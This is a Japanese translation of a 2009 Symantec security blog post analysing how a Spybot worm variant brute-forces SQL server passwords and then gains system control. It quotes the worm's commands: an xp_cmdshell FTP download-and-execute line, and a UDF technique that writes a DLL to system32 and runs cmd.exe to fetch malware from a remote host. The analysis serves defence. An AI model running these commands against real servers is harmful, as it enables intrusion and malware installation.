Symantec Security Response Weblog |
March 13,2009 Posted by Andrea Lelli
マルウエアの感染経路にSQLを使う手口はよく知られている。こう聞くと,読者はトロイの木馬「Trojan.Eskiuel」を思い浮かべるかもしれない。残念ながら,これは珍しい例ではない。最近のマルウエアは,複数の方法でSQLサーバーのぜい弱性を突いてくる。これはつまり,攻撃者にとっては依然としてSQLサーバーが「格好のターゲット」であることを意味する。筆者が遭遇した「Spybot」ワームの亜種も,(様々な攻撃手段の一つとして)弱いパスワードを突き,サーバーの管理者権限を入手することで,SQLサーバーを攻撃する。ここでも興味深いのは,ひとたびSQLサーバーへの攻撃が成功すると,ルート権限を奪取してサーバー・マシン全体を支配下に収められる点だ。
Trojan.Eskiuelの場合,Spybotの目的は,パスワードがぜい弱/未設定,あるいはアクセス権限が不適切なSQLサーバーを探し出すことだ。攻撃の第1段階でターゲットになるSQLサーバーを探し出し,弱いパスワードを総当たり(ブルートフォース)攻撃で破り,管理者権限の入手を試みる。
SQLサーバーの管理者になるだけでは,攻撃の最終目標を達成できない。そこで,攻撃者は第2段階でSQL機能のぜい弱性を突き,サーバーに悪質なコードを投入して実行させることでルート権限を獲得する。なおSpybotは,SQL機能のぜい弱性を突いて任意のコードを実行する際,SQLサーバーの種類に応じて二つの手口を使い分ける。
通常の手口
通常の手口では,xp_cmdshellプロシージャ(米マイクロソフトの開発者向けサービス「MSDN」の文書を参照)がSQLサーバー上で無効となっていないことを確認する。xp_cmdshellが使えるなら,以下のように割と簡単に攻撃を実行できる。
EXEC master..xp_cmdshell 'del eq&echo open %s %d >> eq&echo user %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq &%s&del eq
この処理によって,新しいマルウエアがダウンロードされ,サーバー・マシンで実行される。
変わった手口
xp_cmdshellプロシージャは,すべてのSQLサーバー・エンジンで利用可能とは限らない。このため,できるだけ多くのSQLサーバーに感染するためには,Spybotは別の手口を使う必要がある。この手口は簡単なCREATE文で始まる。
CREATE TABLE clown (line BLOB);
Spybotは攻撃用コードを収めるための場所として,データベース内に新たなテーブルを作成する。テーブルへの攻撃用コード挿入は,以下のINSERT文で行う。
INSERT INTO clown (line) VALUES (0x4D5A9000 …. );
INSERT文の引数は,あるdllの先頭部分を16進表記したものだ(残りの部分は省略した)。この段階で攻撃用dllはSQLサーバーに挿入されるが,まだ無害である。ただし,当然のことながら,このdllはサーバーのファイル・システムにも記録可能だ。次のSQL文がすべてを物語っている。
SELECT * FROM clown INTO DUMPFILE `c:\windows\system32\clown.dll';
このSELECT * FROM文で,攻撃用dllがファイル・システムに書き込まれる。今回の例では,「do_system」という名前の関数をエクスポートするdllファイルとなっている。Spybotは,Windowsがインストールされている場所に応じて,さまざまな場所にこのdllファイルを保存する。
ここまでの道のりが長い。SpybotがSQLサーバーを攻撃して管理者権限を取得し,攻撃用dllを挿入することで,やっとこのdllをデータベースからファイル・システムに書き込める。あとは,これを実行するだけだ。実行には以下に示すSQL文を使う。
CREATE FUNCTION do_system RETURNS integer SONAME `clown.dll';
SpybotはSQLサーバー上で新たなカスタム・プロシージャを定義し,書き込んだばかりのdllにバインドする(前述の通り,do_systemはこのdllのエクスポートした関数である)。ここでついに,攻撃の核心部分が呼び出される。
SELECT do_system("cmd.exe /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &%s");
上記SELECT文によりSQLサーバーは,ファイル・システムに書き込まれたclown.dllのdo_system関数を呼び出す。カッコで囲まれた文字列が,do_system関数に引き渡されるパラメータである。当然のことながら,clown.dllはこのようなコマンドを受け取って実行できるように作られている。実際のところdo_system関数は,パラメータとして引き渡された文字列内のコマンドを実行するシステム関数のリマインダに過ぎない。さらにここで,Spybotはファイル転送プログラムFTPをサーバー上で実行し,悪質なコードをダウンロード/実行する。
今回の攻撃から逃れる術はなく,注意が必要だ。強じんなパスワードを使用し,サーバーやサービスで不要な機能やアクセス権限をあらかじめ削除しておくことを覚えておいてほしい。
この記事の「SQLサーバー」はMicrosoft SQL Serverではなく,リレーショナル・データベース管理システム(RDBMS)全般を指しています。さらに,「変わった手口」以降の操作は,すべてのRDBMSで有効なわけではありません。誤解を招きやすい表現だという読者からのコメントがありましたので,注記しました。 [2009/04/09]
Copyrights (C) 2009 Symantec Corporation. All rights reserved.
本記事の内容は執筆時点のものであり,含まれている情報やリンクの正確性,完全性,妥当性について保証するものではありません。
◆この記事は,シマンテックの許可を得て,米国のセキュリティ・ラボの研究員が執筆するブログSecurity Response Weblogの記事を抜粋して日本語化したものです。オリジナルの記事は,「SQL Servers Still a Good Target, Says Spybot」でお読みいただけます。